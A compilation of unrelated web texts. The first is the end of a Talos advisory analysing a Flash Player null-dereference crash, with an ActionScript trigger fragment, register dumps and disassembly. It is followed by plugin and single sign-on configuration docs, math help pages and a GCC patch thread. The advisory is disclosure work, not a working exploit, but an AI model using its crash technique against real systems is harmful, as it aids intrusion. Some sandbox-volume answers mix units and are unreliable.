without dropping down the true branch's count;
2) probability update in and between the two loops;
3) number of iterations update for split_loop.
Regression tested pass, OK for master?
Changes diff for split_loop and split_loop_on_cond cases:
1) diff base/loop-split.c.151t.lsplit patched/loop-split.c.152t.lsplit
...
<bb 2> [local count: 118111600]:
if (beg_5(D) < end_8(D))
goto <bb 14>; [89.00%]
else
goto <bb 6>; [11.00%]
<bb 14> [local count: 105119324]:
if (beg2_6(D) < c_9(D))
- goto <bb 15>; [100.00%]
+ goto <bb 15>; [33.00%]
else
- goto <bb 16>; [100.00%]
+ goto <bb 16>; [67.00%]
- <bb 15> [local count: 105119324]:
+ <bb 15> [local count: 34689377]:
_25 = beg_5(D) + 1;
_26 = end_8(D) - beg_5(D);
_27 = beg2_6(D) + _26;
_28 = MIN_EXPR <c_9(D), _27>;
- <bb 3> [local count: 955630225]:
+ <bb 3> [local count: 315357973]:
# i_16 = PHI <i_11(8), beg_5(D)(15)>
# j_17 = PHI <j_12(8), beg2_6(D)(15)>
printf ("a: %d %d\n", i_16, j_17);
i_11 = i_16 + 1;
j_12 = j_17 + 1;
if (j_12 < _28)
- goto <bb 8>; [89.00%]
+ goto <bb 8>; [29.37%]
else
- goto <bb 17>; [11.00%]
+ goto <bb 17>; [70.63%]
- <bb 8> [local count: 850510901]:
+ <bb 8> [local count: 280668596]:
goto <bb 3>; [100.00%]
- <bb 16> [local count: 105119324]:
+ <bb 16> [local count: 70429947]:
# i_22 = PHI <beg_5(D)(14), i_29(17)>
# j_23 = PHI <beg2_6(D)(14), j_30(17)>
<bb 10> [local count: 955630225]:
# i_2 = PHI <i_22(16), i_20(13)>
# j_1 = PHI <j_23(16), j_21(13)>
i_20 = i_2 + 1;
j_21 = j_1 + 1;
if (end_8(D) > i_20)
- goto <bb 13>; [89.00%]
+ goto <bb 13>; [59.63%]
else
- goto <bb 9>; [11.00%]
+ goto <bb 9>; [40.37%]
- <bb 13> [local count: 850510901]:
+ <bb 13> [local count: 569842305]:
goto <bb 10>; [100.00%]
<bb 17> [local count: 105119324]:
# i_29 = PHI <i_11(3)>
# j_30 = PHI <j_12(3)>
if (end_8(D) > i_29)
goto <bb 16>; [80.00%]
else
goto <bb 9>; [20.00%]
<bb 9> [local count: 105119324]:
<bb 6> [local count: 118111600]:
return 0;
}
2) diff base/loop-cond-split-1.c.151t.lsplit patched/loop-cond-split-1.c.151t.lsplit:
...
<bb 2> [local count: 118111600]:
if (n_7(D) > 0)
goto <bb 4>; [89.00%]
else
goto <bb 3>; [11.00%]
<bb 3> [local count: 118111600]:
return;
<bb 4> [local count: 105119324]:
pretmp_3 = ga;
- <bb 5> [local count: 955630225]:
+ <bb 5> [local count: 315357973]:
# i_13 = PHI <i_10(20), 0(4)>
# prephitmp_12 = PHI <prephitmp_5(20), pretmp_3(4)>
if (prephitmp_12 != 0)
goto <bb 6>; [33.00%]
else
goto <bb 7>; [67.00%]
<bb 6> [local count: 315357972]:
_2 = do_something ();
ga = _2;
- <bb 7> [local count: 955630225]:
+ <bb 7> [local count: 315357973]:
# prephitmp_5 = PHI <prephitmp_12(5), _2(6)>
i_10 = inc (i_13);
if (n_7(D) > i_10)
goto <bb 21>; [89.00%]
else
goto <bb 11>; [11.00%]
<bb 11> [local count: 105119324]:
goto <bb 3>; [100.00%]
- <bb 21> [local count: 850510901]:
+ <bb 21> [local count: 280668596]:
if (prephitmp_12 != 0)
- goto <bb 20>; [100.00%]
+ goto <bb 20>; [33.00%]
else
- goto <bb 19>; [INV]
+ goto <bb 19>; [67.00%]
- <bb 20> [local count: 850510901]:
+ <bb 20> [local count: 280668596]:
goto <bb 5>; [100.00%]
- <bb 19> [count: 0]:
+ <bb 19> [local count: 70429947]:
# i_23 = PHI <i_10(21)>
# prephitmp_25 = PHI <prephitmp_5(21)>
- <bb 12> [local count: 955630225]:
+ <bb 12> [local count: 640272252]:
# i_15 = PHI <i_23(19), i_22(16)>
# prephitmp_16 = PHI <prephitmp_25(19), prephitmp_16(16)>
i_22 = inc (i_15);
if (n_7(D) > i_22)
- goto <bb 16>; [89.00%]
+ goto <bb 16>; [59.63%]
else
- goto <bb 11>; [11.00%]
+ goto <bb 11>; [40.37%]
- <bb 16> [local count: 850510901]:
+ <bb 16> [local count: 569842305]:
goto <bb 12>; [100.00%]
}
gcc/ChangeLog:
* tree-ssa-loop-split.c (split_loop): Fix incorrect
profile_count and probability.
(do_split_loop_on_cond): Likewise.
---
gcc/tree-ssa-loop-split.c | 110 +++++++++++++++++++++++++++++++++++---
1 file changed, 102 insertions(+), 8 deletions(-)
diff --git a/gcc/tree-ssa-loop-split.c b/gcc/tree-ssa-loop-split.c
index 3f6ad046623..102766241fb 100644
--- a/gcc/tree-ssa-loop-split.c
+++ b/gcc/tree-ssa-loop-split.c
@@ -575,7 +575,10 @@ split_loop (class loop *loop1)
stmts2);
tree cond = build2 (guard_code, boolean_type_node, guard_init, border);
if (!initial_true)
- cond = fold_build1 (TRUTH_NOT_EXPR, boolean_type_node, cond);
+ cond = fold_build1 (TRUTH_NOT_EXPR, boolean_type_node, cond);
+
+ edge true_edge, false_edge;
+ extract_true_false_edges_from_block (bbs[i], &true_edge, &false_edge);
/* Now version the loop, placing loop2 after loop1 connecting
them, and fix up SSA form for that. */
@@ -583,11 +586,11 @@ split_loop (class loop *loop1)
basic_block cond_bb;
class loop *loop2 = loop_version (loop1, cond, &cond_bb,
- profile_probability::always (),
- profile_probability::always (),
- profile_probability::always (),
- profile_probability::always (),
- true);
+ true_edge->probability,
+ true_edge->probability.invert (),
+ profile_probability::always (),
+ profile_probability::always (),
+ true);
gcc_assert (loop2);
edge new_e = connect_loops (loop1, loop2);
@@ -607,6 +610,53 @@ split_loop (class loop *loop1)
tree guard_next = PHI_ARG_DEF_FROM_EDGE (phi, loop_latch_edge (loop1));
patch_loop_exit (loop1, guard_stmt, guard_next, newend, initial_true);
+ /* Check first loop's number of iterations. */
+ update_ssa (TODO_update_ssa);
+ gcc_assert (number_of_iterations_exit (loop1, single_exit (loop1),
+ &niter, false, true));
+
+ /* Proportion first loop's bb counts except those dominated by true
+ branch to avoid drop 1s down. */
+ basic_block *bbs1, *bbs2;
+ bbs1 = get_loop_body (loop1);
+ unsigned j;
+ for (j = 0; j < loop1->num_nodes; j++)
+ if (bbs1[j] == loop1->latch
+ || !dominated_by_p (CDI_DOMINATORS, bbs1[j], true_edge->dest))
+ bbs1[j]->count
+ = bbs1[j]->count.apply_probability (true_edge->probability);
+ free (bbs1);
+
+ /* Fix first loop's exit probability after scaling. */
+ edge exit_to_latch1 = single_pred_edge (loop1->latch);
+ exit_to_latch1->probability = exit_to_latch1->probability.apply_scale (
+ true_edge->probability.to_reg_br_prob_base (), REG_BR_PROB_BASE);
+ single_exit (loop1)->probability
+ = exit_to_latch1->probability.invert ();
+
+ /* Check second loop's number of iterations. */
+ class tree_niter_desc niter2;
+ gcc_assert (number_of_iterations_exit (loop2, single_exit (loop2),
+ &niter2, false, true));
+
+ /* Proportion second loop's bb counts except those dominated by false
+ branch to avoid drop 1s down. */
+ basic_block bbi_copy = get_bb_copy (false_edge->dest);
+ bbs2 = get_loop_body (loop2);
+ for (j = 0; j < loop2->num_nodes; j++)
+ if (bbs2[j] == loop2->latch
+ || !dominated_by_p (CDI_DOMINATORS, bbs2[j], bbi_copy))
+ bbs2[j]->count = bbs2[j]->count.apply_probability (
+ true_edge->probability.invert ());
+ free (bbs2);
+
+ /* Fix second loop's exit probability after scaling. */
+ edge exit_to_latch2 = single_pred_edge (loop2->latch);
+ exit_to_latch2->probability = exit_to_latch2->probability.apply_scale (
+ false_edge->probability.to_reg_br_prob_base (), REG_BR_PROB_BASE);
+ single_exit (loop2)->probability
+ = exit_to_latch2->probability.invert ();
+
/* Finally patch out the two copies of the condition to be always
true/false (or opposite). */
gcond *force_true = as_a<gcond *> (last_stmt (bbs[i]));
@@ -1486,8 +1536,8 @@ do_split_loop_on_cond (struct loop *loop1, edge invar_branch)
initialize_original_copy_tables ();
struct loop *loop2 = loop_version (loop1, boolean_true_node, NULL,
- profile_probability::always (),
- profile_probability::never (),
+ invar_branch->probability.invert (),
+ invar_branch->probability,
profile_probability::always (),
profile_probability::always (),
true);
@@ -1535,6 +1585,50 @@ do_split_loop_on_cond (struct loop *loop1, edge invar_branch)
between loop1 and loop2. */
connect_loop_phis (loop1, loop2, to_loop2);
+ update_ssa (TODO_update_ssa);
+
+ edge true_edge, false_edge, skip_edge1, skip_edge2;
+ extract_true_false_edges_from_block (cond_bb, &true_edge, &false_edge);
+
+ /* Proportion first loop's bb counts except those dominated by true
+ branch to avoid drop 1s down. */
+ skip_edge1 = true_invar ? false_edge : true_edge;
+ skip_edge2 = true_invar ? true_edge : false_edge;
+ basic_block *bbs1, *bbs2;
+ bbs1 = get_loop_body (loop1);
+ unsigned j;
+ for (j = 0; j < loop1->num_nodes; j++)
+ if (bbs1[j] == loop1->latch
+ || !dominated_by_p (CDI_DOMINATORS, bbs1[j], skip_edge1->dest))
+ bbs1[j]->count
+ = bbs1[j]->count.apply_probability (skip_edge1->probability);
+ free (bbs1);
+
+ /* Fix first loop's exit probability after scaling. */
+ to_loop1->probability = invar_branch->probability.invert ();
+ to_loop2->probability = invar_branch->probability;
+
+ /* Proportion second loop's bb counts except those dominated by false
+ branch to avoid drop 1s down. */
+ basic_block bbi_copy = get_bb_copy (skip_edge2->dest);
+ bbs2 = get_loop_body (loop2);
+ for (j = 0; j < loop2->num_nodes; j++)
+ if (bbs2[j] == loop2->latch
+ || !dominated_by_p (CDI_DOMINATORS, bbs2[j], bbi_copy))
+ bbs2[j]->count
+ = bbs2[j]->count.apply_probability (skip_edge2->probability);
+ free (bbs2);
+
+ /* Fix second loop's exit probability after scaling. */
+ edge loop2_latch_exit;
+ edge exit_to_latch2 = single_pred_edge (loop2->latch);
+ exit_to_latch2->probability = exit_to_latch2->probability.apply_scale (
+ skip_edge2->probability.to_reg_br_prob_base (), REG_BR_PROB_BASE);
+ loop2_latch_exit = EDGE_SUCC (exit_to_latch2->src, 0) == exit_to_latch2
+ ? EDGE_SUCC (exit_to_latch2->src, 1)
+ : EDGE_SUCC (exit_to_latch2->src, 0);
+ loop2_latch_exit->probability = exit_to_latch2->probability.invert ();
+
free_original_copy_tables ();
return true;
--
2.27.0.90.geebb51ba8c
More information about the Gcc-patches mailing list
|
__label__pos
| 0.772904 |
開始使用 Web 上的雲端存儲
Cloud Storage for Firebase 允許您上傳和共享用戶生成的內容,例如圖像和視頻,從而允許您在應用中構建富媒體內容。您的數據存儲在Google Cloud Storage 存儲桶中,這是一種具有高可用性和全局冗餘的 EB 級對象存儲解決方案。 Cloud Storage for Firebase 可讓您直接從移動設備和 Web 瀏覽器安全地上傳這些文件,輕鬆處理不穩定的網絡。
先決條件
如果您尚未安裝 Firebase JS SDK 並初始化 Firebase
創建默認 Cloud Storage 存儲分區
1. Firebase 控制台的導航窗格中,選擇“存儲” ,然後單擊“開始”
2. 查看有關使用安全規則保護 Cloud Storage 數據的消息。在開發過程中,請考慮設置公共訪問規則
3. 選擇默認 Cloud Storage 存儲分區的位置
• 此位置設置是您項目的默認 Google Cloud Platform (GCP) 資源位置。請注意,此位置將用於項目中需要位置設置的 GCP 服務,特別是Cloud Firestore數據庫和App Engine應用(如果您使用 Cloud Scheduler,則需要)。
• 如果您無法選擇位置,則您的項目已有默認 GCP 資源位置。它是在項目創建期間或設置另一個需要位置設置的服務時設置的。
如果您使用 Blaze 計劃,則可以創建多個存儲桶,每個存儲桶都有自己的位置
4. 單擊“完成”
設置公共訪問
Cloud Storage for Firebase 提供了一種聲明性規則語言,可讓您定義數據的結構方式、索引方式以及數據的讀取和寫入時間。默認情況下,對 Cloud Storage 的讀寫訪問受到限制,因此只有經過身份驗證的用戶才能讀取或寫入數據。要在不設置身份驗證的情況下開始,您可以配置公共訪問規則
這確實使雲存儲向任何人開放,甚至是不使用您的應用程序的人,因此請務必在設置身份驗證時再次限制您的雲存儲。
將您的存儲桶 URL 添加到您的應用程序
如果尚未包含,您需要將 Cloud Storage 存儲分區 URL 添加到Firebase 應用的配置對象
1. 轉到Firebase 控制台中的存儲儀表板。
2. 單擊“文件”選項卡,然後查看文件查看器的標題。
3. 將 URL 複製到剪貼板。它通常採用project-id .appspot.com形式。
4. 在應用程序中的firebaseConfig對像中,添加storageBucket屬性和您的存儲桶 URL:
網絡模塊化API
import { initializeApp } from "firebase/app";
import { getStorage } from "firebase/storage";
// TODO: Replace the following with your app's Firebase project configuration
// See: https://firebase.google.com/docs/web/learn-more#config-object
const firebaseConfig = {
// ...
storageBucket: ''
};
// Initialize Firebase
const app = initializeApp(firebaseConfig);
// Initialize Cloud Storage and get a reference to the service
const storage = getStorage(app);
Web 命名空間 API
import firebase from "firebase/app";
import "firebase/compat/storage";
// TODO: Replace the following with your app's Firebase project configuration
// See: https://firebase.google.com/docs/web/learn-more#config-object
const firebaseConfig = {
// ...
storageBucket: '[your-storage-bucket-url]'
};
// Initialize Firebase
firebase.initializeApp(firebaseConfig);
// Initialize Cloud Storage and get a reference to the service
const storage = firebase.storage();
您已準備好開始使用雲存儲!
下一步?了解如何創建 Cloud Storage 參考
高級設置
有一些用例需要額外的設置:
• 多個地理區域使用 Cloud Storage 存儲分區
• 不同存儲類別中使用 Cloud Storage 存儲分區
• 在同一應用中對多個經過身份驗證的用戶使用 Cloud Storage 存儲桶
如果您的用戶遍布世界各地,並且希望將他們的數據存儲在他們附近,那麼第一個用例是完美的。例如,您可以在美國、歐洲和亞洲創建存儲桶來存儲這些地區用戶的數據,以減少延遲。
如果您的數據具有不同的訪問模式,第二個用例會很有幫助。例如:您可以設置一個多區域或區域存儲桶來存儲圖片或其他經常訪問的內容,以及一個近線或冷線存儲桶來存儲用戶備份或其他不經常訪問的內容。
在這兩種用例中,您都需要使用多個 Cloud Storage 存儲分區
如果您正在構建一個應用程序(例如 Google Drive),第三個用例非常有用,它允許用戶擁有多個登錄帳戶(例如,個人帳戶和工作帳戶)。您可以使用自定義 Firebase 應用實例對每個附加帳戶進行身份驗證。
使用多個 Cloud Storage 存儲桶
如果您想要使用上面提供的默認存儲桶以外的 Cloud Storage 存儲桶,或者在單個應用中使用多個 Cloud Storage 存儲桶,您可以創建一個引用您的自定義存儲桶的firebase.storage實例:
Web modular API
import { getApp } from "firebase/app";
import { getStorage } from "firebase/storage";
// Get a non-default Storage bucket
const firebaseApp = getApp();
const storage = getStorage(firebaseApp, "gs://my-custom-bucket");
Web namespaced API
// Get a non-default Storage bucket
var storage = firebase.app().storage("gs://my-custom-bucket");
使用導入的存儲桶
將現有 Cloud Storage 存儲桶導入 Firebase 時,您必須授予 Firebase 使用gsutil工具(包含在Google Cloud SDK中)訪問這些文件的能力:
gsutil -m acl ch -r -u service-<project number>@gcp-sa-firebasestorage.iam.gserviceaccount.com gs://<your-cloud-storage-bucket>
您可以按照Firebase 項目簡介中的說明找到您的項目編號。
這不會影響新創建的存儲桶,因為這些存儲桶的默認訪問控制設置為允許 Firebase。這是一項臨時措施,將來會自動執行。
使用自定義 Firebase 應用程序
如果您正在使用自定義firebase.app.App構建更複雜的應用程序,則可以創建使用該應用程序初始化的firebase.storage.Storage實例:
Web modular API
import { getStorage } from "firebase/storage";
// Get the default bucket from a custom firebase.app.App
const storage1 = getStorage(customApp);
// Get a non-default bucket from a custom firebase.app.App
const storage2 = getStorage(customApp, "gs://my-custom-bucket");
Web namespaced API
// Get the default bucket from a custom firebase.app.App
var storage = customApp.storage();
// Get a non-default bucket from a custom firebase.app.App
var storage = customApp.storage("gs://my-custom-bucket");
下一步
|
__label__pos
| 0.557367 |
Advertisement
stephanlinke
[PRTG] Get Limits
Aug 17th, 2015
776
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
1. $prtghost="<your-prtg-host>"
2. $username="<your-prtg-user>";
3. $passhash="<your-prtg-users-passhash>" # can be obtained from the accoutn configuration
4. $Sensors = ((Invoke-WebRequest -URI "http://$($prtghost)/api/table.json?content=sensors&output=json&columns=objid,device,sensor&username=$($username)&passhash=$($passhash)").Content | ConvertFrom-Json)
5. $Devices = ((Invoke-WebRequest -URI "http://$($prtghost)/api/table.json?content=devices&output=json&columns=objid,device&username=$($username)&passhash=$($passhash)").Content | ConvertFrom-Json)
6.
7. Write-Output "sep=;"
8. Write-Output "DeviceID;Device;Sensor;SensorID;Channel;ChannelID;LowerWarningLimit;LowerErrorLimit;UpperWarningLimit;UpperErrorLimit"
9. Foreach($Device in $Devices.devices){
10.
11. $Sensors = ((Invoke-WebRequest -URI "http://$($prtghost)/api/table.json?content=sensors&output=json&id=$($Device.objid)&columns=objid,device,sensor&username=$($username)&passhash=$($passhash)").Content | ConvertFrom-Json)
12.
13. Foreach($Sensor in $Sensors.sensors){
14.
15. $Channels = ((Invoke-WebRequest -URI "http://$($prtghost)/api/table.json?content=channels&output=json&columns=name,lastvalue_,objid&id=$($sensor.objid)&username=$($username)&passhash=$($passhash)").Content | ConvertFrom-Json);
16.
17. Foreach($Channel in $Channels.channels){
18. $ChannelSettings = (Invoke-WebRequest -Uri "http://$($prtghost)/controls/channeledit.htm?_hjax=true&id=$($Sensor.objid)&username=$($username)&passhash=$($passhash)&channel=$($Channel.objid)");
19. if(($channel.objid -eq -4) -or $Channel.name -eq "Execution Time"){ continue;}
20. $LowerWarningLimit = $ChannelSettings.InputFields.FindById("limitminwarning_$($Channel.objid)").value
21. $LowerErrorLimit = $ChannelSettings.InputFields.FindById("limitminerror_$($Channel.objid)").value
22. $UpperWarningLimit = $ChannelSettings.InputFields.FindById("limitmaxwarning_$($Channel.objid)").value
23. $UpperErrorLimit = $ChannelSettings.InputFields.FindById("limitmaxerror_$($Channel.objid)").value
24.
25. Write-Output ("{0};{1};{2};{3};{4};{5};{6};{7};{8};{9}" -f $Device.device,$Device.objid,$Sensor.sensor,$Sensor.objid,$Channel.name,$Channel.objid,$LowerWarningLimit,$LowerErrorLimit,$UpperWarningLimit,$UpperErrorLimit)
26. }
27. }
28. }
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|
__label__pos
| 0.987757 |
Using J2EE to Drive J2ME Applications
Introducing wireless devices into an architecture comes with some challenges that are not present in a wire-based architectures. These challenges must be managed from the server as well as the device. These issues are most critical when connecting to Internet-based services over a wireless connection.
Introduction
Wireless technology is evolving at a rapid pace. There is a lot of talk about mobile and wireless computing and there is also a fair amount of hype. However, the one thing that is conspicuously absent from much of these discussions on mobile and wireless computing is a discussion on what these devices are connecting to. The fact is, most of the value, in terms of content and capabilities of the device, is a result of interacting with a server of some type. This is true whether we are talking about microbrowsers such as WAP and iMode, J2ME clients, or short message service (SMS) and email. Behind the scenes these devices are interacting with services that reside somewhere on a network. These services handle much of the complex details of the features offered by wireless devices. Although there are complexities that the mobile device must deal with, a well-designed wireless architecture delegates as much complexity as possible to the server. This is desirable because servers have more processing capabilities and do not have the power restrictions of mobile devices (i.e., servers don't run on batteries that are worn down by the CPU). This article examines wireless computing from the server's perspective. First, the problems of wireless computing or the public Internet are discussed. Then various models that help address these problems are provided.
Introducing wireless devices into an architecture comes with some challenges that are not present in a wire-based architectures. These challenges must be managed from the server as well as the device. Although there are a number of issues to consider, the three following issues are most critical when connecting to Internet-based services over a wireless connection.
• Bandwidth: The wireless networks available today are much slower than wire-line services. Connection speeds range from 2 kbps to about 20 kbps depending on the type of network and signal strength.
• Service availability: Wireless networks have dead spots and limited coverage outside of heavily populated areas. What's more, connections between a device and the server can drop unexpectedly if a user moves out of coverage or steps into a dead spot by walking into an elevator, entering a stairwell and so forth.
• Cost of the wireless service: Some networks offer unlimited usage, others charge by the kilobyte while others charge by length of time connected. Furthermore, users may move in and out of roaming areas while operating a device. A wireless architecture needs to take these issues into consideration in order to optimize network usage and avoid large service bills.
So, How Can the Server Help?
The server plays an important role in wireless device communication, being one of the receivers and senders of information that the device talks to over the network. The content provided to the device needs to be optimized for the limited bandwidth situations. If the chosen protocol is verbose or the server sends a lot of unneeded information to the device, the usability of the device can become compromised. Large amounts of data take longer to download and can be expensive if the wireless service charges by the kilobyte. The server is a participant in providing concise and appropriate units of information to the device.
Another area in which the server participates is the handshaking that must occur when exchanging data between the server and a device. Whenever data is sent from the server to the device, or from the device to the server, some handshaking must take place in order to make sure that the receiving party actually receives the data before the sending party deletes the data or makes some kind of state change as a result of the transmission. If the data transmission is not successful, some type of reconciliation must take place. In some cases, this may mean resending the data. In other cases the problems may be more interesting. For example, suppose that data was sent from the device to the server. The server receives the data and returns an acknowledgement to the device indicating a successful transmission. However, the connection unexpectedly drops before the device actually receives the confirmation. In this case, when the device resends the data, the server must realize that the transmission is a duplicate and handle it accordingly.
Optimizing Communication
In order to optimize how the server communicates with a wireless device, it is desirable to keep the communication to a minimum. If possible, a connection between the server and device should be opened just long enough to exchange some data and then close down. Modems on mobile devices tend to consume a lot of battery power, which is a precious resource for a mobile device. Furthermore, some network providers, such as those operating on CDMA networks, tend to charge by amount of time connected. Keeping the connection open longer than necessary becomes unnecessarily expensive.
Ideally, the data transferred between the device and the server is in a compact format. On this note, XML is not always the most compact format. If the messages that flow between the server and device can be relatively simple, then some type of delimited string or name-value pairs may be more appropriate. However, if the data requires or involves a lot of nested relationships (e.g., customers, their orders and their payment information), XML starts to earn its place.
In keeping transactions short, applications become less vulnerable to spotty network connections. A failure on a short transaction results in resending a small amount of data. A failure on a large transaction results in resending a large amount of data. Not only does the latter consume more network resources, but the reconciliation of a large transmission failure is more complex and increases the potential for state inconsistencies between device and server to develop.
The Burden of Reconciliation
When a network transmission fails, steps must be taken to remedy the problem and make sure that the device and server do not become out of sync. This responsibility could be placed on either the device or the server to fix the problem, or they could share portions of the cleanup tasks. However, it is a good idea to place as much of this responsibility on the server as possible. Servers have far more processing power than mobile devices and can perform these tasks more efficiently. Furthermore, CPU cycles on a mobile device consume battery power; something a server does not need to be concerned about.
The Wireless Challenge
Hopefully by now you are getting an idea of the challenges faced by wireless applications. In the sections that follow, a number of communication models are introduced that help manage these problems. As with most solutions, there are pros and cons with each approach. Therefore, it is important to understand the benefits and weaknesses of each model so the appropriate model can be applied for a given situation.
Model-View-Control
MVC has become a cornerstone pattern of J2EE development over the last several years. This pattern has surfaced as part of the Sun's Wireless BluePrints in the whitepaper ("Designing Wireless Enterprise Applications Using Java Technology" ). This whitepaper indicates that the device handles the view and the server handles the model and the controller resides on both the device and the server to keep the two in sync. While this pattern does have its place with wireless architectures, it may not be a good fit for many wireless applications. In a world of unreliable network connections, limited bandwidth and various billing rates and plans, relying on a constant network connection may not be desirable or realistic.
MVC Alternatives
In order for a wireless architecture to reliably exchange data and provide services to wireless devices, other models are worth exploring. The following section discusses alternative models where the underlying goal is to exchange data in a manner that does not require a constant network connection. These models focus on bringing the device and server data into sync periodically. Each model contains mechanisms allowing the device and server to recover in the event that the connection fails during a transmission. Furthermore, since a network connection is not required to operate the application, the user interface is never dependent on a server response to display data or interact with the user.
Synchronization Models
Synchronization models have the explicit goal of exchanging data using a request-response pattern of network communication.
State-Oriented Synchronization Model
Under this model, data is sent from the server to the device, or from the device to the server based on the data coming into a particular state. For example, consider an application that handles to-do lists for employees. Assume that there is a web-based user interface available for employees to create and assign to-do items to each other. A to-do item has four states:
• Created
• Assigned
• In-progress
• Completed
Each state corresponds to how the system will communicate in order to handle the lifecycle of a to-do item. The first state, "Created," indicates that the to-do item has been created (on the server), but it may remain unassigned for a while. However, once the to-do is assigned to an employee the to-do information becomes available to be transmitted to the employee's device. Once on the device, the to-do remains in an "assigned" state until the employee starts the task. Once started, the to-do item moves to the "In-Progress" state. Depending on the business, the server may want to receive an update on this state change so that the server-side user interface can reflect that the employee is working on the task. Once the to-do item is completed, the updated information is sent back to the server, along with the status change.
In order to make all of this happen without loosing data, some handshaking between the device and the server is necessary. Each time the server sends data to the device and visa-versa, the data transmission must be followed by a confirmation. Since the device is responsible for initiating all requests, a request for data involves two HTTP requests. In the first request the device asks for the data. In the second request, the device tells the server whether or not it successfully received and processed the data. The following figure illustrates how the device acquires data from the server.
When data is transmitted in the other direction, from the device to the server, the communication only requires a single request, since the server's reply contains the confirmation. If the transmission is successful, the device may take action on the information sent to the server, such as remove it from its data store. The figure below illustrates sending data from the device to the server, where the device sends data to the server and the server responds with a success or a failure message.
The state-oriented synchronization model fits well into systems that share information based on discrete states where the data is "owned" by either the device or the server based on these states. This model is not a good fit for applications that continuously share or co-own data between the device and server. Nor is this model good a fit when discrete states, which would indicate ownership of information, are not present.
Data-Oriented Synchronization Model
A data-oriented model synchronizes data between the device data repository and the server data repository. One of the biggest advantages to this model is that is can be performed without having to know or understand anything about the business domain. In the previous example the synchronization mechanism requires explicit knowledge of a to-do item and its various states so that the item can be exchanged between the device and the server. Under a data-oriented synchronization model, the device and server repositories are periodically brought into sync, independent of any business processes. To do this, the device and server periodically run a synchronization process. This process sends changes made on the device to the server. The server then records these changes and sends any changes made on the server to the device.
As data is exchanged, handshaking occurs to ensure the data is received on either end. However, since a data-oriented model does not contain knowledge about the business a couple of problems surface. The first problem is data scope. A server must be prepared to handle data synchronization with many devices. How is the scope of data synchronization for a single device managed? In the previous example, a to-do item is sent to an employee's device when the item is assigned. Under a data-oriented model, we need a way to scope the server's data to prevent replicating the entire enterprise onto every device. This can be done by specifying rules that make subsets of the enterprise data available only to specific devices. In the case of the to-do system, there needs to be a mechanism in place that indicates what data is made available to a particular device.
The second problem that surfaces has to do with how synchronization conflicts are handled. Suppose changes were made to the same data elements on both the server and the device. Is one set of changes ignored or lost? Can both sets of changes be merged? Under the state-oriented model this is less of a concern, since either the device or the server has ownership over the data at a given point in time. Using a data-oriented model, rules need to be implemented to resolve these conflicts. At a basic level, rules such as "last write wins", "device wins" or "server wins" can be used as a starting points. However, it is unlikely that these rules will be ideal in all situations. In fact, applying blanket rules such as these can be dangerous. For example, suppose an employee makes changes to to-do item A on their device at 10 AM. Then, at 11 AM, another employee modifies to-do item A from the web interface. At noon, the device and server are synchronized. If we are using a "device wins" scenario, the 11 AM changes are lost. Under a "last write wins" or "server wins" scenario, the 10 AM changes are lost. Although these problems are inherent in any synchronization model, they are most pronounced in data-oriented synchronization. Therefore, it is necessary to have extension points to attach rules so that more complex decisions can be made to resolve these conflicts.
Asynchronous Model (A.K.A Messaging)
Messaging techniques, such as JMS, are well suited for the wireless paradigm. This is because JMS, and other Message-Oriented-Middleware (MOM) data exchange mechanisms, are built around the idea of exchanging data between two systems over an unreliable network. Using asynchronous messaging provides a way for the server to queue up data for the device and for the device to queue up transmissions to the server independent of a physical connection between the two systems.
Under the asynchronous model, where a connection is not always present, a communication channel is opened periodically between the server and the device to allow data to be exchanged. The goal is to empty the queues of data on each system. However, if the window of data exchange is too short to empty the queues, the unsent data remains in the queue until the next transmission window.
In order to guarantee data is sent reliably from one system to another, most messaging systems, such as JMS, implement some kind of handshaking and error recovery processes. If either the server or the device does not receive a certain message, the message stays in the queue and subsequent attempts will be made to resend the data. If the failures reach a threshold, either a timeout or number of attempts, an error handling path may be taken.
Store and Forward
JMS is not required in order to exchange data using asynchronous techniques. They key principle that an asynchronous model employs is often referred to as a store and forward mechanism. Store and forward means that before transmitting a piece of data, a copy of the message is stored in a persistent manner on the sending system. The data remains stored until a confirmation from the receiver indicates that the message was received successfully. Once this confirmation is returned, the sender may delete the persisted data. If no confirmation is returned, or an error is returned, the sender attempts to resend the data. Usually resending is limited to a certain number of attempts or there is a time-based expiration associated with the data to be sent. If these limits are exceeded, the system must deal with the error condition.
Using a store and forward, asynchronous model allows applications to immediately process data for transmission. The application behaves the same whether a connection is present or not. Behind the scenes, the store-forward mechanism is queuing the data and exchanging data in a network-optimized way. This allows the systems to communicate as frequently as necessary, possible or practical given the constraints of the network. The following diagrams illustrate the path of a store-forward model.
Sending a Message
Receiving a Message
Using asynchronous messaging for exchanging data is attractive because of the handshaking that takes place and the ability for an application to queue a message for transmission in the same manner whether or not a connection is present. The down side of this model is that asynchronous transmission may not be feasible for certain applications. For example, if a device submits a request for movie tickets and the user is waiting on the response, the server should respond as soon as possible with the results. In this case, the two systems are not casually exchanging data but are requesting certain things of one another (i.e., sending commands to each other). In this particular example, an asynchronous model is less desirable.
Conclusion
Wireless communication posses different challenges that are not present in browser-based and wire-line client-server applications. There are problems with network reliability, low bandwidth and cost of service that must be addressed. In order to deal with these problems, several models for communication were discussed. Different applications have different needs and therefore it is important to understand what a communication model buys and what needs to be managed. Each of the models discussed focus on moving data between a device and a server while minimizing dependencies on the network and allowing the wireless application to function while disconnected. The server plays an important role in optimizing performance and how wireless applications use network resources.
Resources
Sun Microsystem's Wireless Blueprints: http://java.sun.com/blueprints/guidelines/designing_wireless_enterprise_applications/main4.html
Sun Microsystem's J2ME site: http://java.sun.com/j2me/
Sun's wireless developer site: http://wireless.java.sun.com
MicroJava Network: http://www.microjava.com
About the Author
David Hemphill is the Lead Architect for Gearworks, Inc., a company that creates mobile and wireless software for field service industries. David is the co-author of Java 2 Micro Edition from Manning Publications and is a frequent speaker on J2ME at industry conferences. He can be reached at [email protected].
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Default Palette
The default palette is an array of color values identifying the colors that can be used with a device context by default. the system associates the default palette with a context whenever an application creates a context for a device that supports color palettes. The default palette ensures that colors are available for use by an application without any further action.
The default palette typically has 20 entries (colors), but the exact number of entries may vary from device to device. This number is equal to the NUMCOLORS value returned by the GetDeviceCaps function. An application can retrieve the color values for colors in the default palette by enumerating solid pens, the same technique used to discover the colors available on nonpalette devices. The colors in the default palette depend on the device. Display devices, for example, often use the 16 standard colors of the VGA display and 4 other colors defined by Windows. Print devices may use other default colors.
When using the default palette, applications use color values to specify pen and text colors. If the requested color is not in the palette, The system approximates the color by using the closest color in the palette. If an application requests a solid brush color that is not in the palette, the system simulates the color by dithering with colors that are in the palette.
